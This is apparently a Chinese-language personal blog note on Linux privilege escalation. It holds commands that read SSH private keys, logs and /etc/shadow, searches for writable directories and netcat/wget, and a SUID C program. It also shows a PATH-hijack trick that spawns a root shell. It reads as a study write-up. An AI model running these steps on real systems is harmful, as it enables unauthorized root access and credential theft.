/etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key cat /etc/httpd/logs/access_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/error.log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log find / -writable -type d 2>/dev/null # 可写目录 find / -perm -222 -type d 2>/dev/null # 可写目录 find / -perm -o w -type d 2>/dev/null # 可写目录 find / -perm -o x -type d 2>/dev/null # 可执行目录 #安装支持哪些工具和语言? find / -name perl* find / -name python* find / -name gcc* find / -name cc find / -name java* #能够用于上传的软件有那些? find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp 1.版本比对:searchsploit AIX 2.linux常见的权限提升方法 第一种,exp提权,ok,我分析了下 uname -a cat /etc/issue cat /etc/*-release 可以上传文件 有文件执行权限 有gcc(上一次搭建环境测试,就是因为gcc的版本不对,导致无法进行) (内核提权需谨慎) 第二种 计划任务 ls -l /etc/cron* 默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了。 在本地进行测试时,并没有发现用户可以写的文件。 第三种 SUID SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。比如passwd命令,就是以root权限运行来修改shadow的。 find / -perm -u=s -type f 2>/dev/null 2.(测试了下,成功的,要找到suid文件,注意是属于root下的) #include<stdlib.h> #include <unistd.h> int main() { setuid(0);//run as root system("id"); system("cat /etc/shadow"); } 以root进行编译和权限设置 gcc suid.c -o suid-exp chmod 4755 ./suid-exp#这里设置了SUID位 ls -l 输出 -rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp 注意s属性,表示这个程序有SUID的属性。 接下来我们切换用户并执行 su test ./suid-exp 3.(测试没有输出来) SUID程序经常存在提权漏洞,比如nmap就曾出现过提权漏洞。低权用户通过打开nmap交互模式以root执行任意系统命令。而除了借助程序功能提权,我们还可以尝试劫持环境变量提权。上文的c程序使用了system函数,system函数是继承环境变量的,因此我们通过替换环境变量可以达到执行任意命令的效果。 我们进入test低权用户的shell cat >> /tmp/cat <<EOF #!/usr/bin/python print "this is not the true cat" print "here is a root shell!" import pty;pty.spawn("/bin/sh") EOF # 这里我们在/tmp建立了假的cat,它会用python执行一个shell PATH=/tmp:$PATH#设置PATH,优先从/tmp查找程序 ./suid-exp#执行suid程序,因为PATH被劫持,system("cat /etc/shadow");会执行我们的假cat 第四种 网络隐藏服务 unix-privesc-check: http://pentestmonkey.net/tools/audit/unix-privesc-check 试了下,很强大 下面两个暂时不去测试了 linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py 这两个程序不止细致地检查了非常多的配置问题,更让人感动地列出了所有可写文件。基本上可以说他们的检查是足够全面的。 手动检查 https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

2019.9.1

发表评论

电子邮件地址不会被公开。 必填项已用*标注